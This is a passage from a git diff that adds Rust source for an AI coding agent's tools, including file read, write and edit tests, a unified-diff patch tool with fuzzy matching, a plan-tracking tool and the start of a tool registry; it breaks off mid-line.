fs::read_to_string(tmp.path().join("output.txt")).expect("read"); + assert_eq!(written, "test content"); + } + + #[tokio::test] + async fn test_write_file_creates_dirs() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + let tool = WriteFileTool; + let result = tool + .execute( + json!({"path": "subdir/nested/file.txt", "content": "nested content"}), + &ctx, + ) + .await + .expect("execute"); + + assert!(result.success); + + // Verify nested file was created + let written = fs::read_to_string(tmp.path().join("subdir/nested/file.txt")).expect("read"); + assert_eq!(written, "nested content"); + } + + #[tokio::test] + async fn test_edit_file_tool() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + // Create a file to edit + let test_file = tmp.path().join("edit_me.txt"); + fs::write(&test_file, "hello world hello").expect("write"); + + let tool = EditFileTool; + let result = tool + .execute( + json!({"path": "edit_me.txt", "search": "hello", "replace": "hi"}), + &ctx, + ) + .await + .expect("execute"); + + assert!(result.success); + assert!(result.content.contains("2 occurrence(s)")); + + // Verify edit was applied + let edited = fs::read_to_string(&test_file).expect("read"); + assert_eq!(edited, "hi world hi"); + } + + #[tokio::test] + async fn test_edit_file_not_found() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + // Create a file without the search string + let test_file = tmp.path().join("no_match.txt"); + fs::write(&test_file, "foo bar baz").expect("write"); + + let tool = EditFileTool; + let result = tool + .execute( + json!({"path": "no_match.txt", "search": "hello", "replace": "hi"}), + &ctx, + ) + .await; + + assert!(result.is_err()); + let err = result.unwrap_err(); + assert!(err.to_string().contains("not found")); + } + + #[tokio::test] + async fn test_list_dir_tool() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + // Create some files and directories + fs::write(tmp.path().join("file1.txt"), "").expect("write"); + fs::write(tmp.path().join("file2.txt"), "").expect("write"); + fs::create_dir(tmp.path().join("subdir")).expect("mkdir"); + + let tool = ListDirTool; + let result = tool.execute(json!({}), &ctx).await.expect("execute"); + + assert!(result.success); + assert!(result.content.contains("file1.txt")); + assert!(result.content.contains("file2.txt")); + assert!(result.content.contains("subdir")); + assert!(result.content.contains("\"is_dir\": true")); + } + + #[tokio::test] + async fn test_list_dir_with_path() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + // Create a subdirectory with files + let subdir = tmp.path().join("mydir"); + fs::create_dir(&subdir).expect("mkdir"); + fs::write(subdir.join("nested.txt"), "").expect("write"); + + let tool = ListDirTool; + let result = tool + .execute(json!({"path": "mydir"}), &ctx) + .await + .expect("execute"); + + assert!(result.success); + assert!(result.content.contains("nested.txt")); + } + + #[test] + fn test_read_file_tool_properties() { + let tool = ReadFileTool; + assert_eq!(tool.name(), "read_file"); + assert!(tool.is_read_only()); + assert!(tool.is_sandboxable()); + assert_eq!(tool.approval_requirement(), ApprovalRequirement::Auto); + } + + #[test] + fn test_write_file_tool_properties() { + let tool = WriteFileTool; + assert_eq!(tool.name(), "write_file"); + assert!(!tool.is_read_only()); + assert!(tool.is_sandboxable()); + assert_eq!(tool.approval_requirement(), ApprovalRequirement::Suggest); + } + + #[test] + fn test_edit_file_tool_properties() { + let tool = EditFileTool; + assert_eq!(tool.name(), "edit_file"); + assert!(!tool.is_read_only()); + assert!(tool.is_sandboxable()); + assert_eq!(tool.approval_requirement(), ApprovalRequirement::Suggest); + } + + #[test] + fn test_list_dir_tool_properties() { + let tool = ListDirTool; + assert_eq!(tool.name(), "list_dir"); + assert!(tool.is_read_only()); + assert!(tool.is_sandboxable()); + assert_eq!(tool.approval_requirement(), ApprovalRequirement::Auto); + } + + #[test] + fn test_parallel_support_flags() { + let read_tool = ReadFileTool; + let list_tool = ListDirTool; + let write_tool = WriteFileTool; + + assert!(read_tool.supports_parallel()); + assert!(list_tool.supports_parallel()); + assert!(!write_tool.supports_parallel()); + } + + #[test] + fn test_input_schemas() { + // Verify all tools have valid JSON schemas + let read_schema = ReadFileTool.input_schema(); + assert!(read_schema.get("type").is_some()); + assert!(read_schema.get("properties").is_some()); + + let write_schema = WriteFileTool.input_schema(); + let required = write_schema + .get("required") + .and_then(|value| value.as_array()) + .expect("write schema should include required array"); + assert!(required.iter().any(|v| v.as_str() == Some("path"))); + assert!(required.iter().any(|v| v.as_str() == Some("content"))); + + let edit_schema = EditFileTool.input_schema(); + let required = edit_schema + .get("required") + .and_then(|value| value.as_array()) + .expect("edit schema should include required array"); + assert_eq!(required.len(), 3); + + let list_schema = ListDirTool.input_schema(); + let required = list_schema + .get("required") + .and_then(|value| value.as_array()) + .expect("list schema should include required array"); + assert!(required.is_empty()); // path is optional + } +} diff --git a/src/tools/mod.rs b/src/tools/mod.rs new file mode 100644 index 00000000..b8386ac4 --- /dev/null +++ b/src/tools/mod.rs @@ -0,0 +1,53 @@ +//! Tool system modules and re-exports. + +#![allow(dead_code, unused_imports)] + +// === Modules === + +pub mod duo; +pub mod file; +pub mod patch; +pub mod plan; +pub mod registry; +pub mod rlm; +pub mod search; +pub mod shell; +pub mod spec; +pub mod subagent; +pub mod todo; +pub mod web_search; + +// === Re-exports === + +// Re-export commonly used types from spec +pub use spec::ToolContext; + +// Re-export registry types +pub use registry::{ToolRegistry, ToolRegistryBuilder}; + +// Re-export search tools +pub use search::GrepFilesTool; + +// Re-export web search tools +pub use web_search::WebSearchTool; + +// Re-export patch tools +pub use patch::ApplyPatchTool; + +// Re-export file tools +pub use file::{EditFileTool, ListDirTool, ReadFileTool, WriteFileTool}; + +// Re-export shell types +pub use shell::ExecShellTool; + +// Re-export subagent types +pub use subagent::SubAgent; + +// Re-export todo types +pub use todo::TodoWriteTool; + +// Re-export plan types +pub use plan::UpdatePlanTool; + +// Re-export RLM tools +pub use rlm::{RlmExecTool, RlmLoadTool, RlmQueryTool, RlmStatusTool}; diff --git a/src/tools/patch.rs b/src/tools/patch.rs new file mode 100644 index 00000000..c0808cc4 --- /dev/null +++ b/src/tools/patch.rs @@ -0,0 +1,662 @@ +//! Patch tools: `apply_patch` for unified diff patching +//! +//! This tool provides precise file modifications using unified diff format, +//! supporting multi-hunk patches and fuzzy matching. + +use std::fs; + +use async_trait::async_trait; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use thiserror::Error; + +use super::spec::{ + ApprovalRequirement, ToolCapability, ToolContext, ToolError, ToolResult, ToolSpec, + optional_bool, optional_u64, required_str, +}; + +/// Maximum lines of context for fuzzy matching (increased for better tolerance) +const MAX_FUZZ: usize = 50; + +// === Types === + +/// Result of applying a patch +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PatchResult { + pub success: bool, + pub hunks_applied: usize, + pub hunks_total: usize, + pub fuzz_used: usize, + pub message: String, +} + +/// A single hunk in a unified diff +#[derive(Debug, Clone)] +pub struct Hunk { + pub old_start: usize, + pub old_count: usize, + pub new_start: usize, + pub new_count: usize, + pub lines: Vec, +} + +/// A line in a hunk +#[derive(Debug, Clone)] +pub enum HunkLine { + Context(String), + Add(String), + Remove(String), +} + +/// Tool for applying unified diff patches to files +pub struct ApplyPatchTool; + +// === Errors === + +#[derive(Debug, Error)] +enum ApplyHunkError { + #[error( + "Failed to find matching location for hunk (expected at line {expected_line}, adjusted to {adjusted_line} with offset {offset:+})" + )] + NoMatch { + expected_line: usize, + adjusted_line: usize, + offset: isize, + }, +} + +#[async_trait] +impl ToolSpec for ApplyPatchTool { + fn name(&self) -> &'static str { + "apply_patch" + } + + fn description(&self) -> &'static str { + "Apply a unified diff patch to a file. Supports multi-hunk patches with fuzzy matching." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "path": { + "type": "string", + "description": "Path to the file to patch (relative to workspace)" + }, + "patch": { + "type": "string", + "description": "Unified diff patch content" + }, + "fuzz": { + "type": "integer", + "description": "Maximum fuzz factor for fuzzy matching (default: 3)" + }, + "create_if_missing": { + "type": "boolean", + "description": "Create the file if it doesn't exist (for new file patches)" + } + }, + "required": ["path", "patch"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ + ToolCapability::WritesFiles, + ToolCapability::Sandboxable, + ToolCapability::RequiresApproval, + ] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Suggest + } + + async fn execute(&self, input: Value, context: &ToolContext) -> Result { + let path_str = required_str(&input, "path")?; + let patch_text = required_str(&input, "patch")?; + let fuzz = optional_u64(&input, "fuzz", MAX_FUZZ as u64).min(MAX_FUZZ as u64); + let fuzz = usize::try_from(fuzz).unwrap_or(MAX_FUZZ); + let create_if_missing = optional_bool(&input, "create_if_missing", false); + + let file_path = context.resolve_path(path_str)?; + + // Read existing file content (or empty for new files) + let original_content = if file_path.exists() { + fs::read_to_string(&file_path).map_err(|e| { + ToolError::execution_failed(format!( + "Failed to read {}: {}", + file_path.display(), + e + )) + })? + } else if create_if_missing { + String::new() + } else { + return Err(ToolError::execution_failed(format!( + "File {} does not exist. Set create_if_missing=true for new files.", + file_path.display() + ))); + }; + + // Parse the patch + let hunks = parse_unified_diff(patch_text)?; + if hunks.is_empty() { + return Err(ToolError::invalid_input("No valid hunks found in patch")); + } + + // Apply hunks + let mut lines: Vec = original_content.lines().map(String::from).collect(); + let mut total_fuzz = 0; + let mut hunks_applied = 0; + let mut cumulative_offset: isize = 0; // Track line drift across hunks + + for hunk in &hunks { + match apply_hunk(&mut lines, hunk, fuzz, &mut cumulative_offset) { + Ok(fuzz_used) => { + total_fuzz += fuzz_used; + hunks_applied += 1; + } + Err(e) => { + return Err(ToolError::execution_failed(format!( + "Failed to apply hunk at line {}: {}", + hunk.old_start, e + ))); + } + } + } + + // Write the patched file + let new_content = lines.join("\n"); + + // Create parent directories if needed + if let Some(parent) = file_path.parent() { + fs::create_dir_all(parent).map_err(|e| { + ToolError::execution_failed(format!( + "Failed to create directory {}: {}", + parent.display(), + e + )) + })?; + } + + fs::write(&file_path, &new_content).map_err(|e| { + ToolError::execution_failed(format!("Failed to write {}: {}", file_path.display(), e)) + })?; + + let result = PatchResult { + success: true, + hunks_applied, + hunks_total: hunks.len(), + fuzz_used: total_fuzz, + message: format!( + "Applied {}/{} hunks to {} (fuzz: {})", + hunks_applied, + hunks.len(), + file_path.display(), + total_fuzz + ), + }; + + ToolResult::json(&result).map_err(|e| ToolError::execution_failed(e.to_string())) + } +} + +/// Parse a unified diff into hunks +fn parse_unified_diff(patch: &str) -> Result, ToolError> { + let mut hunks = Vec::new(); + let mut lines = patch.lines().peekable(); + + // Skip header lines (---, +++ etc) + while let Some(line) = lines.peek() { + if line.starts_with("@@") { + break; + } + lines.next(); + } + + // Parse hunks + while let Some(line) = lines.next() { + if line.starts_with("@@") { + let hunk = parse_hunk_header(line, &mut lines)?; + hunks.push(hunk); + } + } + + Ok(hunks) +} + +/// Parse a hunk header and its content +fn parse_hunk_header<'a, I>( + header: &str, + lines: &mut std::iter::Peekable, +) -> Result +where + I: Iterator, +{ + // Parse @@ -old_start,old_count +new_start,new_count @@ + let parts: Vec<&str> = header.split_whitespace().collect(); + if parts.len() < 3 { + return Err(ToolError::invalid_input(format!( + "Invalid hunk header: {header}" + ))); + } + + let old_range = parts[1].trim_start_matches('-'); + let new_range = parts[2].trim_start_matches('+'); + + let (old_start, old_count) = parse_range(old_range)?; + let (new_start, new_count) = parse_range(new_range)?; + + // Parse hunk lines + let mut hunk_lines = Vec::new(); + let expected_lines = old_count.max(new_count) + old_count.min(new_count); + + for _ in 0..expected_lines * 2 { + // Allow for more lines than expected + match lines.peek() { + Some(line) if line.starts_with("@@") => break, + Some(line) if line.starts_with('-') => { + hunk_lines.push(HunkLine::Remove(line[1..].to_string())); + lines.next(); + } + Some(line) if line.starts_with('+') => { + hunk_lines.push(HunkLine::Add(line[1..].to_string())); + lines.next(); + } + Some(line) if line.starts_with(' ') || line.is_empty() => { + let content = if line.is_empty() { "" } else { &line[1..] }; + hunk_lines.push(HunkLine::Context(content.to_string())); + lines.next(); + } + Some(line) if !line.starts_with('\\') => { + // Treat as context line without leading space + hunk_lines.push(HunkLine::Context((*line).to_string())); + lines.next(); + } + Some(_) => { + lines.next(); // Skip "\ No newline at end of file" etc + } + None => break, + } + } + + Ok(Hunk { + old_start, + old_count, + new_start, + new_count, + lines: hunk_lines, + }) +} + +/// Parse a range like "10,5" or "10" into (start, count) +fn parse_range(range: &str) -> Result<(usize, usize), ToolError> { + let parts: Vec<&str> = range.split(',').collect(); + let start = parts[0] + .parse::() + .map_err(|_| ToolError::invalid_input(format!("Invalid line number: {}", parts[0])))?; + let count = if parts.len() > 1 { + parts[1] + .parse::() + .map_err(|_| ToolError::invalid_input(format!("Invalid count: {}", parts[1])))? + } else { + 1 + }; + Ok((start, count)) +} + +/// Apply a hunk to the file content with fuzzy matching +fn apply_hunk( + lines: &mut Vec, + hunk: &Hunk, + max_fuzz: usize, + cumulative_offset: &mut isize, +) -> Result { + // Build expected old lines from hunk + let old_lines: Vec<&str> = hunk + .lines + .iter() + .filter_map(|line| match line { + HunkLine::Context(s) | HunkLine::Remove(s) => Some(s.as_str()), + HunkLine::Add(_) => None, + }) + .collect(); + + // Build new lines from hunk + let new_lines: Vec = hunk + .lines + .iter() + .filter_map(|line| match line { + HunkLine::Context(s) | HunkLine::Add(s) => Some(s.clone()), + HunkLine::Remove(_) => None, + }) + .collect(); + + // Try to find the location with fuzzy matching + // Apply cumulative offset from previous hunks + let base_idx = if hunk.old_start > 0 { + hunk.old_start - 1 + } else { + 0 + }; + let start_idx = ((base_idx as isize) + *cumulative_offset).max(0) as usize; + + for fuzz in 0..=max_fuzz { + // Try at exact position first, then nearby + let search_range = if fuzz == 0 { + vec![start_idx] + } else { + let min = start_idx.saturating_sub(fuzz); + let max = (start_idx + fuzz).min(lines.len()); + (min..=max).collect() + }; + + for pos in search_range { + if matches_at_position(lines, &old_lines, pos) { + // Apply the hunk + let end_pos = pos + old_lines.len(); + lines.splice(pos..end_pos, new_lines.clone()); + + // Update cumulative offset: new lines added minus old lines removed + let delta = new_lines.len() as isize - old_lines.len() as isize; + *cumulative_offset += delta; + + return Ok(fuzz); + } + } + } + + // Special case: adding to empty file or new hunk at end + if old_lines.is_empty() && (lines.is_empty() || start_idx >= lines.len()) { + let delta = new_lines.len() as isize; + lines.extend(new_lines); + *cumulative_offset += delta; + return Ok(0); + } + + Err(ApplyHunkError::NoMatch { + expected_line: hunk.old_start, + adjusted_line: start_idx + 1, // Convert back to 1-indexed + offset: *cumulative_offset, + }) +} + +/// Check if `old_lines` match at the given position +fn matches_at_position(lines: &[String], old_lines: &[&str], pos: usize) -> bool { + if pos + old_lines.len() > lines.len() { + return false; + } + + for (i, old_line) in old_lines.iter().enumerate() { + // Normalize whitespace for comparison + let file_line = lines[pos + i].trim_end(); + let expected = old_line.trim_end(); + if file_line != expected { + return false; + } + } + + true +} + +// === Unit Tests === + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::tempdir; + + #[test] + fn test_parse_range() { + assert_eq!(parse_range("10,5").unwrap(), (10, 5)); + assert_eq!(parse_range("10").unwrap(), (10, 1)); + assert_eq!(parse_range("1,0").unwrap(), (1, 0)); + } + + #[test] + fn test_parse_unified_diff() { + let patch = r"--- a/test.txt ++++ b/test.txt +@@ -1,3 +1,3 @@ + line1 +-line2 ++modified line2 + line3 +"; + + let hunks = parse_unified_diff(patch).unwrap(); + assert_eq!(hunks.len(), 1); + assert_eq!(hunks[0].old_start, 1); + assert_eq!(hunks[0].old_count, 3); + assert_eq!(hunks[0].new_start, 1); + assert_eq!(hunks[0].new_count, 3); + } + + #[test] + fn test_apply_hunk_simple() { + let mut lines = vec![ + "line1".to_string(), + "line2".to_string(), + "line3".to_string(), + ]; + + let hunk = Hunk { + old_start: 1, + old_count: 3, + new_start: 1, + new_count: 3, + lines: vec![ + HunkLine::Context("line1".to_string()), + HunkLine::Remove("line2".to_string()), + HunkLine::Add("modified".to_string()), + HunkLine::Context("line3".to_string()), + ], + }; + + let mut offset: isize = 0; + let fuzz = apply_hunk(&mut lines, &hunk, 0, &mut offset).unwrap(); + assert_eq!(fuzz, 0); + assert_eq!(lines, vec!["line1", "modified", "line3"]); + } + + #[test] + fn test_apply_hunk_with_fuzz() { + let mut lines = vec![ + "line0".to_string(), + "line1".to_string(), + "line2".to_string(), + "line3".to_string(), + ]; + + // Hunk expects to start at line 1, but content is at line 2 + let hunk = Hunk { + old_start: 1, // Wrong position + old_count: 2, + new_start: 1, + new_count: 2, + lines: vec![ + HunkLine::Remove("line1".to_string()), + HunkLine::Add("modified".to_string()), + HunkLine::Context("line2".to_string()), + ], + }; + + let mut offset: isize = 0; + let fuzz = apply_hunk(&mut lines, &hunk, 3, &mut offset).unwrap(); + assert!(fuzz > 0); + assert_eq!(lines, vec!["line0", "modified", "line2", "line3"]); + } + + #[test] + fn test_apply_hunk_no_match_returns_error() { + let mut lines = vec!["line1".to_string(), "line2".to_string()]; + let hunk = Hunk { + old_start: 5, + old_count: 1, + new_start: 5, + new_count: 1, + lines: vec![ + HunkLine::Context("missing".to_string()), + HunkLine::Add("new".to_string()), + ], + }; + + let mut offset: isize = 0; + let err = apply_hunk(&mut lines, &hunk, 0, &mut offset).unwrap_err(); + assert!(matches!( + err, + ApplyHunkError::NoMatch { + expected_line: 5, + .. + } + )); + } + + #[tokio::test] + async fn test_apply_patch_tool() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + // Create a test file + fs::write(tmp.path().join("test.txt"), "line1\nline2\nline3\n").expect("write"); + + let patch = r"--- a/test.txt ++++ b/test.txt +@@ -1,3 +1,3 @@ + line1 +-line2 ++modified + line3 +"; + + let tool = ApplyPatchTool; + let result = tool + .execute(json!({"path": "test.txt", "patch": patch}), &ctx) + .await + .expect("execute"); + + assert!(result.success); + + // Verify the patch was applied + let content = fs::read_to_string(tmp.path().join("test.txt")).expect("read"); + assert!(content.contains("modified")); + assert!(!content.contains("line2")); + } + + #[tokio::test] + async fn test_apply_patch_add_lines() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + fs::write(tmp.path().join("test.txt"), "line1\nline3\n").expect("write"); + + let patch = r"@@ -1,2 +1,3 @@ + line1 ++line2 + line3 +"; + + let tool = ApplyPatchTool; + let result = tool + .execute(json!({"path": "test.txt", "patch": patch}), &ctx) + .await + .expect("execute"); + + assert!(result.success); + + let content = fs::read_to_string(tmp.path().join("test.txt")).expect("read"); + assert!(content.contains("line2")); + } + + #[tokio::test] + async fn test_apply_patch_create_new_file() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + let patch = r"@@ -0,0 +1,3 @@ ++line1 ++line2 ++line3 +"; + + let tool = ApplyPatchTool; + let result = tool + .execute( + json!({"path": "new_file.txt", "patch": patch, "create_if_missing": true}), + &ctx, + ) + .await + .expect("execute"); + + assert!(result.success); + assert!(tmp.path().join("new_file.txt").exists()); + } + + #[test] + fn test_apply_patch_tool_properties() { + let tool = ApplyPatchTool; + assert_eq!(tool.name(), "apply_patch"); + assert!(!tool.is_read_only()); + assert!(tool.is_sandboxable()); + assert_eq!(tool.approval_requirement(), ApprovalRequirement::Suggest); + } + + #[test] + fn test_multi_hunk_offset_tracking() { + // File with 6 lines + let mut lines: Vec = vec![ + "line1".to_string(), + "line2".to_string(), + "line3".to_string(), + "line4".to_string(), + "line5".to_string(), + "line6".to_string(), + ]; + + // Hunk 1: Add 2 lines after line1 (offset becomes +2) + let hunk1 = Hunk { + old_start: 1, + old_count: 2, + new_start: 1, + new_count: 4, + lines: vec![ + HunkLine::Context("line1".to_string()), + HunkLine::Add("new_a".to_string()), + HunkLine::Add("new_b".to_string()), + HunkLine::Context("line2".to_string()), + ], + }; + + // Hunk 2: Modify line5 (originally at position 5, now at position 7 due to +2 offset) + let hunk2 = Hunk { + old_start: 5, // Original position in the diff + old_count: 1, + new_start: 7, + new_count: 1, + lines: vec![ + HunkLine::Remove("line5".to_string()), + HunkLine::Add("modified5".to_string()), + ], + }; + + let mut offset: isize = 0; + + // Apply first hunk + let fuzz1 = apply_hunk(&mut lines, &hunk1, 3, &mut offset).unwrap(); + assert_eq!(fuzz1, 0); + assert_eq!(offset, 2); // Added 2 lines (4 new - 2 old) + assert_eq!( + lines, + vec![ + "line1", "new_a", "new_b", "line2", "line3", "line4", "line5", "line6" + ] + ); + + // Apply second hunk - this would fail without offset tracking! + let fuzz2 = apply_hunk(&mut lines, &hunk2, 3, &mut offset).unwrap(); + assert_eq!(fuzz2, 0); + assert!(lines.contains(&"modified5".to_string())); + assert!(!lines.contains(&"line5".to_string())); + } +} diff --git a/src/tools/plan.rs b/src/tools/plan.rs new file mode 100644 index 00000000..a1cbb00d --- /dev/null +++ b/src/tools/plan.rs @@ -0,0 +1,408 @@ +//! Plan tool implementation with step tracking and validation + +use std::sync::{Arc, Mutex}; +use std::time::{Duration, Instant}; + +use async_trait::async_trait; +use serde::{Deserialize, Serialize}; +use serde_json::json; + +use crate::tools::spec::{ + ApprovalRequirement, ToolCapability, ToolContext, ToolError, ToolResult, ToolSpec, +}; + +// === Types === + +/// Status of a plan step. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "snake_case")] +pub enum StepStatus { + Pending, + InProgress, + Completed, +} + +impl StepStatus { + #[allow(dead_code)] + #[must_use] + pub fn from_str(value: &str) -> Option { + match value.trim().to_lowercase().as_str() { + "pending" => Some(StepStatus::Pending), + "in_progress" | "inprogress" => Some(StepStatus::InProgress), + "completed" | "done" => Some(StepStatus::Completed), + _ => None, + } + } + + #[allow(dead_code)] + #[must_use] + pub fn symbol(&self) -> &'static str { + match self { + StepStatus::Pending => "○", + StepStatus::InProgress => "◎", + StepStatus::Completed => "●", + } + } +} + +/// Input representation for a plan item. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PlanItemArg { + pub step: String, + pub status: StepStatus, +} + +/// Update payload used by the plan tool. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct UpdatePlanArgs { + #[serde(default)] + pub explanation: Option, + pub plan: Vec, +} + +// === Plan State === + +/// A plan step with timing information +#[derive(Debug, Clone)] +pub struct PlanStep { + pub text: String, + pub status: StepStatus, + /// When the step was started (transitioned to `InProgress`) + pub started_at: Option, + /// When the step was completed + pub completed_at: Option, +} + +impl PlanStep { + /// Create a new plan step. + pub fn new(text: String, status: StepStatus) -> Self { + Self { + text, + status, + started_at: None, + completed_at: None, + } + } + + /// Get the elapsed time if the step has timing info + #[must_use] + pub fn elapsed(&self) -> Option { + match (self.started_at, self.completed_at) { + (Some(start), Some(end)) => Some(end.duration_since(start)), + (Some(start), None) if self.status == StepStatus::InProgress => Some(start.elapsed()), + _ => None, + } + } + + /// Format elapsed time for display + #[must_use] + pub fn elapsed_str(&self) -> String { + match self.elapsed() { + Some(d) => { + let secs = d.as_secs(); + if secs < 60 { + format!("{secs}s") + } else if secs < 3600 { + format!("{}m {}s", secs / 60, secs % 60) + } else { + format!("{}h {}m", secs / 3600, (secs % 3600) / 60) + } + } + None => String::new(), + } + } +} + +/// Serializable snapshot for display +#[derive(Debug, Clone, Serialize)] +pub struct PlanSnapshot { + pub explanation: Option, + pub items: Vec, +} + +/// State tracking for the current plan +#[derive(Debug, Clone, Default)] +pub struct PlanState { + explanation: Option, + steps: Vec, +} + +impl PlanState { + /// Check whether the plan is empty. + #[must_use] + pub fn is_empty(&self) -> bool { + self.steps.is_empty() && self.explanation.as_deref().unwrap_or("").is_empty() + } + + pub fn update(&mut self, args: UpdatePlanArgs) { + self.explanation = args.explanation.filter(|s| !s.trim().is_empty()); + + let now = Instant::now(); + let mut new_steps = Vec::new(); + let mut in_progress_seen = false; + + for item in args.plan { + // Try to find existing step to preserve timing + let existing = self.steps.iter().find(|s| s.text == item.step); + + let mut status = item.status; + // Enforce single in_progress + if status == StepStatus::InProgress { + if in_progress_seen { + status = StepStatus::Pending; + } else { + in_progress_seen = true; + } + } + + let step = if let Some(old) = existing { + let mut s = old.clone(); + let old_status = s.status.clone(); + s.status = status.clone(); + + // Track timing transitions + if old_status == StepStatus::Pending && status == StepStatus::InProgress { + s.started_at = Some(now); + } + if old_status == StepStatus::InProgress && status == StepStatus::Completed { + s.completed_at = Some(now); + } + + s + } else { + let mut s = PlanStep::new(item.step, status.clone()); + if status == StepStatus::InProgress { + s.started_at = Some(now); + } + s + }; + + new_steps.push(step); + } + + self.steps = new_steps; + } + + pub fn snapshot(&self) -> PlanSnapshot { + PlanSnapshot { + explanation: self.explanation.clone(), + items: self + .steps + .iter() + .map(|s| PlanItemArg { + step: s.text.clone(), + status: s.status.clone(), + }) + .collect(), + } + } + + pub fn explanation(&self) -> Option<&str> { + self.explanation.as_deref() + } + + pub fn steps(&self) -> &[PlanStep] { + &self.steps + } + + /// Get counts of steps by status + pub fn counts(&self) -> (usize, usize, usize) { + let mut pending = 0; + let mut in_progress = 0; + let mut completed = 0; + for s in &self.steps { + match s.status { + StepStatus::Pending => pending += 1, + StepStatus::InProgress => in_progress += 1, + StepStatus::Completed => completed += 1, + } + } + (pending, in_progress, completed) + } + + /// Get progress as a percentage + pub fn progress_percent(&self) -> u8 { + if self.steps.is_empty() { + return 0; + } + let completed = self + .steps + .iter() + .filter(|s| s.status == StepStatus::Completed) + .count(); + let percent = completed.saturating_mul(100) / self.steps.len(); + u8::try_from(percent).unwrap_or(u8::MAX) + } +} + +/// Validation result for plan transitions +#[derive(Debug)] +#[allow(dead_code)] +pub enum PlanValidation { + Ok, + Warning(String), + Error(String), +} + +/// Validate a plan update +#[allow(dead_code)] +pub fn validate_plan_update(current: &PlanState, update: &UpdatePlanArgs) -> PlanValidation { + let current_steps: std::collections::HashMap<_, _> = current + .steps() + .iter() + .map(|s| (s.text.clone(), &s.status)) + .collect(); + + for item in &update.plan { + if let Some(old_status) = current_steps.get(&item.step) { + // Check for invalid transitions + match (old_status, &item.status) { + (StepStatus::Completed, StepStatus::Pending) => { + return PlanValidation::Warning(format!( + "Step '{}' was completed but is now pending", + item.step + )); + } + (StepStatus::Completed, StepStatus::InProgress) => { + return PlanValidation::Warning(format!( + "Step '{}' was completed but is now in progress", + item.step + )); + } + _ => {} + } + } + } + + PlanValidation::Ok +} + +// === UpdatePlanTool - ToolSpec implementation === + +/// Shared reference to `PlanState` for use across tools +pub type SharedPlanState = Arc>; + +/// Create a new shared `PlanState` +pub fn new_shared_plan_state() -> SharedPlanState { + Arc::new(Mutex::new(PlanState::default())) +} + +/// Tool for updating the implementation plan +pub struct UpdatePlanTool { + plan_state: SharedPlanState, +} + +impl UpdatePlanTool { + pub fn new(plan_state: SharedPlanState) -> Self { + Self { plan_state } + } +} + +#[async_trait] +impl ToolSpec for UpdatePlanTool { + fn name(&self) -> &'static str { + "update_plan" + } + + fn description(&self) -> &'static str { + "Update the implementation plan with steps and their status. Use this to track progress on implementation tasks. Each step has a description and status (pending, in_progress, completed). Optionally include an explanation of the overall approach." + } + + fn input_schema(&self) -> serde_json::Value { + json!({ + "type": "object", + "properties": { + "explanation": { + "type": "string", + "description": "Optional high-level explanation of the plan or approach" + }, + "plan": { + "type": "array", + "description": "List of plan steps", + "items": { + "type": "object", + "properties": { + "step": { + "type": "string", + "description": "Description of the step" + }, + "status": { + "type": "string", + "enum": ["pending", "in_progress", "completed"], + "description": "Step status" + } + }, + "required": ["step", "status"] + } + } + }, + "required": ["plan"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::WritesFiles] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Auto + } + + async fn execute( + &self, + input: serde_json::Value, + _context: &ToolContext, + ) -> Result { + let explanation = input + .get("explanation") + .and_then(|v| v.as_str()) + .map(std::string::ToString::to_string); + + let plan_items = input + .get("plan") + .and_then(|v| v.as_array()) + .ok_or_else(|| ToolError::invalid_input("Missing or invalid 'plan' array"))?; + + let mut plan_args = Vec::new(); + for item in plan_items { + let step = item + .get("step") + .and_then(|v| v.as_str()) + .ok_or_else(|| ToolError::invalid_input("Plan item missing 'step'"))?; + + let status_str = item + .get("status") + .and_then(|v| v.as_str()) + .unwrap_or("pending"); + + let status = StepStatus::from_str(status_str).unwrap_or(StepStatus::Pending); + + plan_args.push(PlanItemArg { + step: step.to_string(), + status, + }); + } + + let args = UpdatePlanArgs { + explanation, + plan: plan_args, + }; + + let mut state = self + .plan_state + .lock() + .map_err(|e| ToolError::execution_failed(format!("Failed to lock plan state: {e}")))?; + + state.update(args); + + let snapshot = state.snapshot(); + let (pending, in_progress, completed) = state.counts(); + let progress = state.progress_percent(); + + let result = serde_json::to_string_pretty(&snapshot).unwrap_or_else(|_| "{}".to_string()); + + Ok(ToolResult::success(format!( + "Plan updated: {pending} pending, {in_progress} in progress, {completed} completed ({progress}% done)\n{result}" + ))) + } +} diff --git a/src/tools/registry.rs b/src/tools/registry.rs new file mode 100644 index 00000000..fa5a27a2 --- /dev/null +++ b/src/tools/registry.rs @@ -0,0 +1,617 @@ +//! Tool registry for managing and executing tools. +//! +//! The registry provides: +//! - Dynamic tool registration +//! - Tool lookup by name +//! - Conversion to API Tool format +//! - Filtering by capability + +use std::collections::HashMap; +use std::sync::Arc; + +use serde_json::Value; + +use crate::client::DeepSeekClient; +use crate::duo::SharedDuoSession; +use crate::models::Tool; +use crate::rlm::SharedRlmSession; + +use super::spec::{ + ApprovalRequirement, ToolCapability, ToolContext, ToolError, ToolResult, ToolSpec, +}; + +// === Types === + +/// Registry that holds all available tools. +pub struct ToolRegistry { + tools: HashMap>, + context: ToolContext, +} + +impl ToolRegistry { + /// Create a new empty registry with the given context. + #[must_use] + pub fn new(context: 